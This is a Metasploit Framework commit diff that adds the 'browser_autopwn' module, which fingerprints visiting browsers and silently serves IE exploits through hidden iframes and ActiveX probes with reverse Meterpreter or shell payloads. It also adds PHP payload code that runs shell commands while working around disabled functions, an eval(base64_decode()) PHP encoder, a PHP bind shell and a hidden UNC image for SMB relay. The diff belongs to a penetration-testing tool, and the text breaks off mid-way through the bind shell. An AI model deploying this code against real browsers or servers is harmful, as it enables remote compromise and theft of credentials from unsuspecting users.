initial commit of browser_autopwn;
revamp php payloads; socks5 for IPv6 (untested) git-svn-id: file:///home/svn/framework3/trunk@5546 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
3c64c454df
commit
8800372e46
|
@ -443,6 +443,7 @@ protected
|
|||
cli.send_response(response)
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Sends a 302 redirect relative to our base path
|
||||
#
|
||||
|
@ -451,6 +452,27 @@ protected
|
|||
end
|
||||
|
||||
|
||||
#
|
||||
# Sends a 404
|
||||
#
|
||||
def send_not_found(cli)
|
||||
resp_404 = create_response(404, 'Not Found')
|
||||
resp_404.body = %Q{
|
||||
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
|
||||
<html><head>
|
||||
<title>404 Not Found</title>
|
||||
</head><body>
|
||||
<h1>Not Found</h1>
|
||||
<p>The requested URL /404.html was not found on this server.</p>
|
||||
<hr>
|
||||
<address>Apache/2.2.9 (Unix) Server at #{datastore['LHOST']} Port #{datastore['SRVPORT']}</address>
|
||||
</body></html>
|
||||
}
|
||||
|
||||
cli.send_response(resp_404)
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Returns the configured (or random, if not configured) URI path
|
||||
#
|
||||
|
|
|
@ -0,0 +1,147 @@
|
|||
require 'msf/core'
|
||||
|
||||
###
|
||||
#
|
||||
###
|
||||
module Msf::Payload::Php
|
||||
|
||||
def initialize(info = {})
|
||||
super(info)
|
||||
end
|
||||
|
||||
def php_preamble(options = {})
|
||||
dis = options[:disabled_varname] || '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
|
||||
dis = '$' + dis if (dis[0,1] != '$')
|
||||
|
||||
@dis = dis
|
||||
|
||||
preamble = "
|
||||
@set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time',0);
|
||||
#{dis}=@ini_get('disable_functions');
|
||||
if(!empty(#{dis})){
|
||||
#{dis}=preg_replace('/[, ]+/', ',', #{dis});
|
||||
#{dis}=explode(',', #{dis});
|
||||
#{dis}=array_map('trim', #{dis});
|
||||
}else{
|
||||
#{dis}=array();
|
||||
}
|
||||
"
|
||||
return preamble
|
||||
end
|
||||
|
||||
def php_system_block(options = {})
|
||||
cmd = options[:cmd_varname] || '$cmd'
|
||||
dis = options[:disabled_varname] || @dis || '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
|
||||
output = options[:output_varname] || '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
|
||||
|
||||
if (@dis.nil?)
|
||||
@dis = dis
|
||||
end
|
||||
|
||||
cmd = '$' + cmd if (cmd[0,1] != '$')
|
||||
dis = '$' + dis if (dis[0,1] != '$')
|
||||
output = '$' + output if (output[0,1] != '$')
|
||||
|
||||
is_callable = '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
|
||||
in_array = '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
|
||||
|
||||
setup = "
|
||||
#{cmd}=#{cmd}.\" 2>&1\\n\";
|
||||
#{is_callable}='is_callable';
|
||||
#{in_array}='in_array';
|
||||
"
|
||||
shell_exec = "
|
||||
if(#{is_callable}('shell_exec')and!#{in_array}('shell_exec',#{dis})){
|
||||
#{output}=shell_exec(#{cmd});
|
||||
}else"
|
||||
passthru = "
|
||||
if(#{is_callable}('passthru')and!#{in_array}('passthru',#{dis})){
|
||||
ob_start();
|
||||
passthru(#{cmd});
|
||||
#{output}=ob_get_contents();
|
||||
ob_end_clean();
|
||||
}else"
|
||||
system = "
|
||||
if(#{is_callable}('system')and!#{in_array}('system',#{dis})){
|
||||
ob_start();
|
||||
system(#{cmd});
|
||||
#{output}=ob_get_contents();
|
||||
ob_end_clean();
|
||||
}else"
|
||||
exec = "
|
||||
if(#{is_callable}('exec')and!#{in_array}('exec',#{dis})){
|
||||
#{output}=array();
|
||||
exec(#{cmd},#{output});
|
||||
#{output}=join(chr(10),#{output}).chr(10);
|
||||
}else"
|
||||
proc_open = "
|
||||
if(#{is_callable}('proc_open')and!#{in_array}('proc_open',#{dis})){
|
||||
$handle=proc_open(#{cmd},array(array(pipe,r),array(pipe,w),array(pipe,w)),$pipes);
|
||||
#{output}=NULL;
|
||||
while(!feof($pipes[1])){
|
||||
#{output}.=fread($pipes[1],1024);
|
||||
}
|
||||
@proc_close($handle);
|
||||
}else"
|
||||
popen = "
|
||||
if(#{is_callable}('popen')and!#{in_array}('popen',#{dis})){
|
||||
$fp=popen(#{cmd},r);
|
||||
#{output}=NULL;
|
||||
if(is_resource($fp)){
|
||||
while(!feof($fp)){
|
||||
#{output}.=fread($fp,1024);
|
||||
}
|
||||
}
|
||||
@pclose($fp);
|
||||
}else"
|
||||
fail_block = "
|
||||
{
|
||||
#{output}=0;
|
||||
}
|
||||
"
|
||||
|
||||
#exec_methods = [shell_exec, passthru, system, exec, proc_open, popen].sort_by { rand }
|
||||
exec_methods = [passthru, shell_exec, system, exec, proc_open, popen]#.sort_by { rand }
|
||||
buf = setup + exec_methods.join("") + fail_block
|
||||
#buf = Rex::Text.compress(buf)
|
||||
|
||||
###
|
||||
# All of this junk should go in an encoder
|
||||
#
|
||||
# Replace all single-quoted strings with quoteless equivalents, e.g.:
|
||||
# echo('asdf');
|
||||
# becomes
|
||||
# echo($a.$s.$d.$f);
|
||||
# and add "$a=chr(97);" et al to the top of the block
|
||||
#
|
||||
# Once this is complete, it is guaranteed that there are no spaces
|
||||
# inside strings. This combined with the fact that there are no
|
||||
# function definitions, which require a space between the "function"
|
||||
# keyword and the name, means we can completely remove spaces.
|
||||
#
|
||||
#alpha_used = { 95 }
|
||||
#buf.gsub!(/'(.*?)'/) {
|
||||
# str_array = []
|
||||
# $1.each_byte { |c|
|
||||
# if (('a'..'z').include?(c.chr))
|
||||
# alpha_used[c] = 1
|
||||
# str_array << "$#{c.chr}."
|
||||
# else
|
||||
# str_array << "chr(#{c})."
|
||||
# end
|
||||
# }
|
||||
# str_array.last.chop!
|
||||
# str_array.join("")
|
||||
#}
|
||||
#if (alpha_used.length > 1)
|
||||
# alpha_used.each_key { |k| buf = "$#{k.chr}=chr(#{k});" + buf }
|
||||
#end
|
||||
#
|
||||
#buf.gsub!(/\s*/, '')
|
||||
#
|
||||
###
|
||||
|
||||
return buf
|
||||
|
||||
end
|
||||
end
|
|
@ -39,7 +39,7 @@ class ObfuscateJS
|
|||
# Returns the dynamic symbol associated with the supplied symbol name
|
||||
#
|
||||
def sym(name)
|
||||
@dynsym[name]
|
||||
@dynsym[name] || name
|
||||
end
|
||||
|
||||
#
|
||||
|
|
|
@ -213,12 +213,13 @@ class Rex::Socket::Comm::Local
|
|||
|
||||
def self.proxy (sock, type, host, port)
|
||||
|
||||
#$stdout.print("PROXY\n")
|
||||
case type.downcase
|
||||
when 'socks4'
|
||||
setup = [4,1,port.to_i].pack('CCn') + Socket.gethostbyname(host)[3] + Rex::Text.rand_text_alpha(rand(8)+1) + "\x00"
|
||||
size = sock.put(setup)
|
||||
if (size != setup.length)
|
||||
raise ArgumentError, "Wrote less data than expected to the socks proxy"
|
||||
raise ArgumentError, "Wrote less data than expected to the socks4 proxy"
|
||||
end
|
||||
|
||||
begin
|
||||
|
@ -234,21 +235,33 @@ class Rex::Socket::Comm::Local
|
|||
raise "SOCKS4 server responded with error code #{ret[0]}"
|
||||
end
|
||||
when 'socks5'
|
||||
# TODO: add dns lookups through socks5
|
||||
auth_methods = [5,1,0].pack('CCC')
|
||||
size = sock.put(auth_methods)
|
||||
if (size != auth_methods.length)
|
||||
raise ArgumentError, "Wrote less data than expected to the socks proxy"
|
||||
raise ArgumentError, "Wrote less data than expected to the socks5 proxy"
|
||||
end
|
||||
response = sock.get_once(2,30)
|
||||
if (0xff == response[1,1])
|
||||
raise ArgumentError, "Proxy requires authentication"
|
||||
end
|
||||
|
||||
setup = [5,1,0,1].pack('CCCC') + Socket.gethostbyname(host)[3] + [port.to_i].pack('n')
|
||||
if (Rex::Socket.is_ipv4?(host))
|
||||
addr = Rex::Socket.gethostbyname(host)[3]
|
||||
setup = [5,1,0,1].pack('C4') + addr + [port.to_i].pack('n')
|
||||
elsif (Rex::Socket.support_ipv6? and Rex::Socket.is_ipv6?(host))
|
||||
# IPv6 stuff all untested
|
||||
addr = Rex::Socket.gethostbyname(host)[3]
|
||||
setup = [5,1,0,4].pack('C4') + addr + [port.to_i].pack('n')
|
||||
else
|
||||
# Then it must be a domain name.
|
||||
# Unfortunately, it looks like the host has always been
|
||||
# resolved by the time it gets here, so this code never runs.
|
||||
setup = [5,1,0,3].pack('C4') + [host.length].pack('C') + host + [port.to_i].pack('n')
|
||||
end
|
||||
|
||||
size = sock.put(setup)
|
||||
if (size != setup.length)
|
||||
raise ArgumentError, "Wrote less data than expected to the socks proxy"
|
||||
raise ArgumentError, "Wrote less data than expected to the socks5 proxy"
|
||||
end
|
||||
|
||||
begin
|
||||
|
@ -257,7 +270,7 @@ class Rex::Socket::Comm::Local
|
|||
raise Rex::ConnectionRefused.new(host, port), caller
|
||||
end
|
||||
|
||||
if (response.nil? or response.length < 8)
|
||||
if (response.nil? or response.length < 10)
|
||||
raise ArgumentError, 'SOCKS5 server did not respond with a proper response'
|
||||
end
|
||||
if response[1] != 0
|
||||
|
|
|
@ -0,0 +1,309 @@
|
|||
##
|
||||
# $Id:$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/projects/Framework/
|
||||
##
|
||||
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
module Msf
|
||||
|
||||
class Auxiliary::Server::BrowserAutoPwn < Msf::Auxiliary
|
||||
|
||||
BROWSER_IE = "MSIE"
|
||||
BROWSER_FF = "Firefox"
|
||||
BROWSER_SAFARI = "Safari"
|
||||
OS_LINUX = "Linux"
|
||||
OS_MAC_OSX = "Mac OSX"
|
||||
OS_WINDOWS = "Windows"
|
||||
|
||||
include Exploit::Remote::HttpServer::HTML
|
||||
include Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'HTTP Client fingerprinter',
|
||||
'Version' => '$Revision: $',
|
||||
'Description' => %q{
|
||||
Webbrowser fingerprinter and autoexploiter.
|
||||
},
|
||||
'Author' => 'egypt <egypt@nmt.edu>',
|
||||
'License' => BSD_LICENSE,
|
||||
'Actions' =>
|
||||
[
|
||||
[ 'WebServer' ]
|
||||
],
|
||||
'PassiveActions' =>
|
||||
[
|
||||
'WebServer'
|
||||
],
|
||||
'DefaultAction' => 'WebServer'))
|
||||
|
||||
register_options([
|
||||
OptAddress.new('LHOST', [true, 'Your local IP address ror reverse payloads']),
|
||||
OptPort.new('LPORT', [false, 'For reverse payloads; incremented for each exploit', 4444])
|
||||
])
|
||||
|
||||
@exploits = Hash.new
|
||||
end
|
||||
def init_exploit(name)
|
||||
case name
|
||||
when %r#exploit/windows#
|
||||
payload='windows/meterpreter/reverse_tcp'
|
||||
else
|
||||
payload='generic/shell_reverse_tcp'
|
||||
end
|
||||
@exploits[name] = framework.modules.create(name)
|
||||
@exploits[name].datastore['SRVPORT'] = datastore['SRVPORT']
|
||||
|
||||
# for testing, set the exploit uri to the name of the exploit so it's
|
||||
# easy to tell what is happening from the browser
|
||||
@exploits[name].datastore['URIPATH'] = name
|
||||
|
||||
@exploits[name].datastore['LPORT'] = @lport
|
||||
@exploits[name].datastore['LHOST'] = @lhost
|
||||
@exploits[name].exploit_simple(
|
||||
'LocalInput' => self.user_input,
|
||||
'LocalOutput' => self.user_output,
|
||||
'Target' => 0,
|
||||
'Payload' => payload,
|
||||
'RunAsJob' => true)
|
||||
|
||||
#print_status("#{name} at uri #{@exploits[name].get_resource} with payload #{payload} and lport #{@lport}")
|
||||
@lport += 1
|
||||
end
|
||||
|
||||
def setup()
|
||||
super
|
||||
@lport = datastore['LPORT'] || 4444
|
||||
@lhost = datastore['LHOST']
|
||||
@lport = @lport.to_i
|
||||
print_status("Starting exploit modules...")
|
||||
|
||||
##
|
||||
# Start all the exploit modules
|
||||
##
|
||||
|
||||
# TODO: add an Automatic target to this guy.
|
||||
# For now just use the default target of Mac.
|
||||
# requires javascript
|
||||
#init_exploit('exploit/multi/browser/firefox_queryinterface')
|
||||
|
||||
# works on iPhone
|
||||
# does not require javascript
|
||||
#init_exploit('exploit/osx/armle/safari_libtiff')
|
||||
|
||||
#init_exploit('exploit/osx/browser/software_update')
|
||||
#init_exploit('exploit/windows/browser/ani_loadimage_chunksize')
|
||||
#init_exploit('exploit/windows/browser/apple_quicktime_rtsp')
|
||||
|
||||
# Works on default IE 5.5 and 6
|
||||
# does not require javascript
|
||||
init_exploit('exploit/windows/browser/ms03_020_ie_objecttype')
|
||||
|
||||
# requires javascript
|
||||
init_exploit('exploit/windows/browser/novelliprint_getdriversettings');
|
||||
|
||||
# requires javascript
|
||||
#init_exploit('exploit/windows/browser/ms06_055_vml_method')
|
||||
|
||||
# Works on default IE 5 and 6
|
||||
# requires javascript
|
||||
# requires ActiveXObject('DirectAnimation.PathControl')
|
||||
init_exploit('exploit/windows/browser/ms06_067_keyframe')
|
||||
|
||||
# only works on IE with XML Core Services
|
||||
# requires javascript
|
||||
# requires classid 88d969c5-f192-11d4-a65f-0040963251e5
|
||||
init_exploit('exploit/windows/browser/ms06_071_xml_core')
|
||||
|
||||
#init_exploit('exploit/windows/browser/winamp_playlist_unc')
|
||||
|
||||
# requires UNC path which seems to only work on IE in my tests
|
||||
#init_exploit('exploit/windows/smb/smb_relay')
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
print_status("Request '#{request.uri}' from #{cli.peerhost}:#{cli.peerport}")
|
||||
|
||||
browser_make = nil
|
||||
browser_ver = nil
|
||||
|
||||
ua = request['User-Agent']
|
||||
case (ua)
|
||||
when /Firefox\/((:?[0-9]+\.)+[0-9]+)/:
|
||||
ua_name = BROWSER_FF
|
||||
ua_vers = $1
|
||||
when /Mozilla\/[0-9]\.[0-9] \(compatible; MSIE ([0-9]\.[0-9]+)/:
|
||||
ua_name = BROWSER_IE
|
||||
ua_vers = $1
|
||||
when /Version\/(\d+\.\d+\.\d+).*Safari/
|
||||
ua_name = BROWSER_SAFARI
|
||||
ua_vers = $1
|
||||
end
|
||||
case (ua)
|
||||
when /Windows/:
|
||||
os_name = OS_WINDOWS
|
||||
when /Linux/:
|
||||
os_name = OS_LINUX
|
||||
when /iPhone/
|
||||
os_name = OS_MAC_OSX
|
||||
os_arch = 'armle'
|
||||
when /Mac OS X/
|
||||
os_name = OS_MAC_OSX
|
||||
end
|
||||
case (ua)
|
||||
when /PPC/
|
||||
os_arch = 'ppc'
|
||||
when /i.86/
|
||||
os_arch = 'x86'
|
||||
end
|
||||
|
||||
os_name ||= 'Unknown'
|
||||
|
||||
print_status("Browser claims to be #{ua_name} #{ua_vers}, running on #{os_name}")
|
||||
report_note(
|
||||
:host => cli.peerhost,
|
||||
:type => 'http_request',
|
||||
:data => "#{os_name} #{os_arch} #{ua_name} #{ua_vers}"
|
||||
)
|
||||
|
||||
response = create_response()
|
||||
|
||||
case request.uri
|
||||
when datastore['URIPATH']:
|
||||
# TODO: consider having a javascript timeout function that writes
|
||||
# each exploit's iframe so they don't step on each other.
|
||||
|
||||
# for smb_relay
|
||||
windows_html = %Q{
|
||||
<div id="windows">
|
||||
<img src="\\\\#{@lhost}\\public\\#{Rex::Text.rand_text_alpha(15)}.jpg" style="visibility:hidden" height="1px" width="1px" />
|
||||
</div>
|
||||
}
|
||||
#osx_html = %Q{
|
||||
# <div id="osx">
|
||||
# <iframe src="#{@exploits['exploit/osx/armle/safari_libtiff'].get_resource}"
|
||||
# style="visibility:hidden" height="1px" width="1px" border="none"
|
||||
# ></iframe>'+
|
||||
# </div>
|
||||
# }
|
||||
|
||||
var_onload_func = Rex::Text.rand_text_alpha(8)
|
||||
objects = {
|
||||
'DirectAnimation.PathControl' => @exploits['exploit/windows/browser/ms06_067_keyframe'].get_resource,
|
||||
'{88d969c5-f192-11d4-a65f-0040963251e5}' => @exploits['exploit/windows/browser/ms06_071_xml_core'].get_resource,
|
||||
'{36723F97-7AA0-11D4-8919-FF2D71D0D32C}' => @exploits['exploit/windows/browser/novelliprint_getdriversettings'].get_resource,
|
||||
}
|
||||
hash_declaration = objects.map{ |k, v| "'#{k}', '#{v}'," }.join
|
||||
hash_declaration = hash_declaration[0,hash_declaration.length-1]
|
||||
|
||||
script = <<ENDJS
|
||||
// stolen from http://www.mojavelinux.com/articles/javascript_hashes.html
|
||||
function Hash()
|
||||
{
|
||||
this.length = 0;
|
||||
this.items = new Array();
|
||||
for (var current_item = 0; current_item < arguments.length; current_item += 2) {
|
||||
if (typeof(arguments[current_item + 1]) != 'undefined') {
|
||||
this.items[arguments[current_item]] = arguments[current_item + 1];
|
||||
this.length++;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function BodyOnLoad() {
|
||||
var vuln_obj = null;
|
||||
var body_elem = document.getElementById('body_id');
|
||||
// object_list contains key-value pairs like
|
||||
// {classid} => /path/to/exploit/for/classid
|
||||
// and
|
||||
// ActiveXname => /path/to/exploit/for/ActiveXname
|
||||
var object_list = new Hash(#{hash_declaration});
|
||||
|
||||
if (navigator.userAgent.indexof("MSIE") != -1) {
|
||||
// iterate through our list of exploits
|
||||
for (var current_item in object_list.items) {
|
||||
// classids are stored surrounded in braces for an easy way to tell
|
||||
// them from ActiveX object names, so if it has braces, strip them
|
||||
// out and create an object element with that classid
|
||||
if (current_item.substring(0,1) == '{') {
|
||||
obj_element = document.createElement("object");
|
||||
obj_element.setAttribute("cl" + "as" + "sid", "cl" + "s" + "id" +":" + current_item.substring( 1, current_item.length - 1 ) ) ;
|
||||
obj_element.setAttribute("id", current_item);
|
||||
body_elem.appendChild(obj_element);
|
||||
vuln_obj = document.getElementById(current_item);
|
||||
} else {
|
||||
// otherwise, try to create an AXO with that name
|
||||
try { vuln_obj = new ActiveXObject(current_item); } catch(e){}
|
||||
}
|
||||
if (vuln_obj) {
|
||||
body_elem.innerHTML += '<p>' + object_list.items[current_item] + '</p>';
|
||||
//body_elem.innerHTML += '<iframe src="'+
|
||||
// object_list.items[current_item] +
|
||||
// '" style="visibility:hidden" height="1px" width="1px" border="none"></iframe>';
|
||||
}
|
||||
vuln_obj = null;
|
||||
}
|
||||
}
|
||||
}
|
||||
ENDJS
|
||||
js = Rex::Exploitation::ObfuscateJS.new(script)
|
||||
js.obfuscate(
|
||||
'Symbols' => {
|
||||
'Variables' => [ 'object_list', 'obj_element', 'vuln_obj', 'body_elem', 'body_id', 'current_item', 'Hash', 'items', 'BodyOnLoad' ]
|
||||
}
|
||||
)
|
||||
body = <<ENDHTML
|
||||
<body id="#{js.sym('body_id')}" onload="#{js.sym('BodyOnLoad')}()">
|
||||
<h1>Please wait while we connect you...</h1>
|
||||
<!--[if lt IE 7]>
|
||||
<iframe src="#{@exploits['exploit/windows/browser/ms03_020_ie_objecttype'].get_resource}"
|
||||
style="visibility:hidden" height="1px" width="1px" border="none"
|
||||
></iframe>
|
||||
<![endif]-->
|
||||
ENDHTML
|
||||
#body << " <!--[if IE ]> "
|
||||
#objects.each { |k,v|
|
||||
# body << "<object classid=\"clsid:#{k[1,k.length-1]}\" id=\"#{k}\"></object>\n";
|
||||
#}
|
||||
#body << " <![endif]--> "
|
||||
|
||||
response.body = ' <html> <head> <title> Loading </title> '
|
||||
response.body << ' <script language="javascript">' + script + ' </script> </head> ' + body
|
||||
|
||||
if (os_name == OS_WINDOWS)
|
||||
response.body << windows_html
|
||||
end
|
||||
if (os_name == OS_MAC_OSX)
|
||||
response.body << osx_html
|
||||
end
|
||||
response.body << "</body></html>"
|
||||
response.body = Rex::Text.randomize_space(response.body)
|
||||
else
|
||||
print_error("I don't know how to handle that request #{request.uri}, sending 404")
|
||||
send_not_found(cli)
|
||||
return false
|
||||
end
|
||||
response['Expires'] = '0'
|
||||
response['Cache-Control'] = 'must-revalidate'
|
||||
|
||||
cli.send_response(response)
|
||||
end
|
||||
|
||||
def run
|
||||
exploit()
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
=begin
|
||||
=end
|
|
@ -134,7 +134,7 @@ class Auxiliary::Server::Capture::HTTP < Msf::Auxiliary
|
|||
os_name = 'iPhone'
|
||||
os_arch = 'armle'
|
||||
when /Mac OS X/
|
||||
os = 'Mac'
|
||||
os_name = 'Mac'
|
||||
end
|
||||
|
||||
case (ua)
|
||||
|
|
|
@ -0,0 +1,72 @@
|
|||
##
|
||||
# $Id: $
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/projects/Framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
module Msf
|
||||
module Encoders
|
||||
module Php
|
||||
|
||||
class Base64 < Msf::Encoder
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'PHP Base64 encoder',
|
||||
'Version' => '$Revision: $',
|
||||
'Description' => %q{
|
||||
This encoder returns a base64 string encapsulated in
|
||||
eval(base64_decode()), increasing the size by roughly one
|
||||
third.
|
||||
},
|
||||
'Author' => 'egypt <egypt@nmt.edu>',
|
||||
'License' => BSD_LICENSE,
|
||||
'Arch' => ARCH_PHP)
|
||||
end
|
||||
|
||||
def encode_block(state, buf)
|
||||
# PHP escapes quotes by default with magic_quotes_gpc, so we use some
|
||||
# tricks to get around using them.
|
||||
#
|
||||
# The raw, unquoted base64 without the terminating equals works because
|
||||
# PHP treats it like a string. There are, however, a couple of caveats
|
||||
# because first, PHP tries to parse the bare string as a constant.
|
||||
# Because of this, the string is limited to things that can be
|
||||
# identifiers, i.e., things that start with [a-zA-Z] and contain only
|
||||
# [a-zA-Z0-9_]. Also, for payloads that encode to more than 998
|
||||
# characters, only part of the payload gets unencoded on the victim,
|
||||
# presumably due to a limitation in php identifier names, so we break
|
||||
# the encoded payload into roughly 900-byte chunks.
|
||||
b64 = Rex::Text.encode_base64(buf)
|
||||
|
||||
# The '=' or '==' used for padding at the end of the base64 encoded
|
||||
# data is unnecessary and can cause parse errors when we use it as a
|
||||
# raw string, so strip it off.
|
||||
b64.gsub!(/[=\n]+/, '')
|
||||
|
||||
b64.gsub!(/[+]/, '.chr(0x2b).')
|
||||
i = 900;
|
||||
while i < b64.length
|
||||
while (b64[i].chr =~ /^[0-9]/)
|
||||
# We must be careful not to begin a chunk with a digit because
|
||||
# then PHP thinks it's a number and chokes.
|
||||
i += 1
|
||||
end
|
||||
b64.insert(i,'.')
|
||||
i += 900
|
||||
end
|
||||
|
||||
return "eval(base64_decode(" + b64 + "));"
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end end end
|
|
@ -70,7 +70,7 @@ class Exploits::Multi::Browser::Firefox_QueryInterface < Msf::Exploit::Remote
|
|||
# Re-generate the payload
|
||||
return if ((p = regenerate_payload(cli)) == nil)
|
||||
|
||||
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
|
||||
send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html' })
|
||||
handler(cli)
|
||||
end
|
||||
|
|
|
@ -85,7 +85,7 @@ class Exploits::Osx::Armle::SafariLibTIFF < Msf::Exploit::Remote
|
|||
# Grab reference to the target
|
||||
t = target
|
||||
|
||||
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
|
||||
|
||||
# Transmit the compressed response to the client
|
||||
send_response(cli, generate_tiff(p, t), { 'Content-Type' => 'image/tiff' })
|
||||
|
|
|
@ -73,7 +73,7 @@ class Exploits::Osx::Browser::SafariLibTIFF < Msf::Exploit::Remote
|
|||
# Grab reference to the target
|
||||
t = target
|
||||
|
||||
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
|
||||
|
||||
# Transmit the compressed response to the client
|
||||
send_response(cli, generate_tiff(p, t), { 'Content-Type' => 'image/tiff' })
|
||||
|
|
|
@ -290,7 +290,7 @@ include Exploit::Remote::HttpServer::HTML
|
|||
# Re-generate the payload
|
||||
return if ((p = regenerate_payload(cli)) == nil)
|
||||
|
||||
print_status("Sending ANI file to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
|
||||
|
||||
# Transmit the compressed response to the client
|
||||
send_response(cli, generate_ani(p, target), { 'Content-Type' => 'application/octet-stream' })
|
||||
|
|
|
@ -66,7 +66,7 @@ class Exploits::Windows::Browser::Apple_Quicktime_RTSP < Msf::Exploit::Remote
|
|||
content << "<embed autoplay=\"true\" moviename=\"#{cruft}\" " + "qtnext=\"#{cruft}\" type=\"video/quicktime\" "
|
||||
content << "src=\"rtsp://#{cruft}:#{sploit}\" />\n"
|
||||
|
||||
print_status("Sending exploit to #{client.peerhost}:#{client.peerport}...")
|
||||
print_status("Sending #{self.name} to #{client.peerhost}:#{client.peerport}...")
|
||||
|
||||
send_response(client, content, { 'Content-Type' => 'text/html' })
|
||||
|
||||
|
|
|
@ -99,7 +99,7 @@ class Exploits::Windows::Browser::MS03_020_Ie_ObjectType < Msf::Exploit::Remote
|
|||
"</object>" +
|
||||
"</html>"
|
||||
|
||||
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
|
||||
|
||||
# Transmit the response to the client
|
||||
send_response_html(cli, content)
|
||||
|
|
|
@ -72,7 +72,7 @@ class Exploits::Windows::Browser::MS06_067_KEYFRAME < Msf::Exploit::Remote
|
|||
def on_request_uri(cli, request)
|
||||
return if ((p = regenerate_payload(cli)) == nil)
|
||||
|
||||
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
|
||||
|
||||
# This is taken directly from Alex's exploit -- all credit goes to him.
|
||||
trigger_js = heaplib(
|
||||
|
|
|
@ -129,7 +129,7 @@ class Exploits::Windows::Browser::MS06_071_XML_CORE < Msf::Exploit::Remote
|
|||
|
||||
content = Rex::Text.randomize_space(content)
|
||||
|
||||
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
|
||||
|
||||
# Transmit the response to the client
|
||||
send_response_html(cli, content)
|
||||
|
|
|
@ -106,7 +106,7 @@ class Exploits::Windows::Browser::NovelliPrint_GetDriverSettings < Msf::Exploit:
|
|||
|
||||
content = Rex::Text.randomize_space(content)
|
||||
|
||||
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending #{self.name}to #{cli.peerhost}:#{cli.peerport}...")
|
||||
|
||||
# Transmit the response to the client
|
||||
send_response_html(cli, content)
|
||||
|
|
|
@ -11,6 +11,7 @@
|
|||
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/php'
|
||||
require 'msf/core/handler/bind_tcp'
|
||||
require 'msf/base/sessions/command_shell'
|
||||
|
||||
|
@ -22,13 +23,14 @@ module Php
|
|||
module BindPhp
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Php
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'PHP Command Shell, Bind TCP (via php)',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Listen for a connection and spawn a command shell via php (persistent)',
|
||||
'Author' => ['diaul <diaul@devilopers.org>',],
|
||||
'Author' => ['egypt', 'diaul <diaul@devilopers.org>',],
|
||||
'License' => BSD_LICENSE,
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP,
|
||||
|
@ -47,34 +49,37 @@ module BindPhp
|
|||
# PHP Bind Shell
|
||||
#
|
||||
def php_bind_shell
|
||||
|
||||
dis = '$' + Rex::Text.rand_text_alpha(rand(4) + 4);
|
||||
shell = <<-END_OF_PHP_CODE
|
||||
error_reporting(E_ALL);
|
||||
#{php_preamble({:disabled_varname => dis})}
|
||||
$port=#{datastore['LPORT']};
|
||||
|
||||
set_time_limit(0);
|
||||
ob_implicit_flush();
|
||||
|
||||
$port = #{datastore['LPORT']};
|
||||
|
||||
$sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
|
||||
$ret = socket_bind($sock, 0, $port);
|
||||
$ret = socket_listen($sock, 5);
|
||||
$msgsock = socket_accept($sock);
|
||||
|
||||
while (true)
|
||||
{
|
||||
$command = socket_read($msgsock, 2048, PHP_NORMAL_READ);
|
||||
$output = shell_exec(substr($command, 0, -1));
|
||||
socket_write($msgsock, $output, strlen($output));
|
||||
$scl='socket_create_listen';
|
||||
if(is_callable($scl)&&!in_array($scl,#{dis})){
|
||||
$sock=$scl($port);
|
||||
}else{
|
||||
$sock=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
|
||||
$ret=socket_bind($sock,0,$port);
|
||||
$ret=socket_listen($sock,5);
|
||||
}
|
||||
|
||||
$msgsock=socket_accept($sock);
|
||||
socket_close($sock);
|
||||
|
||||
while(FALSE!==socket_select($r=array($msgsock), $w=NULL, $e=NULL, NULL))
|
||||
{
|
||||
|
||||
$c=socket_read($msgsock,2048,PHP_NORMAL_READ);
|
||||
if(FALSE===$c){break;}
|
||||
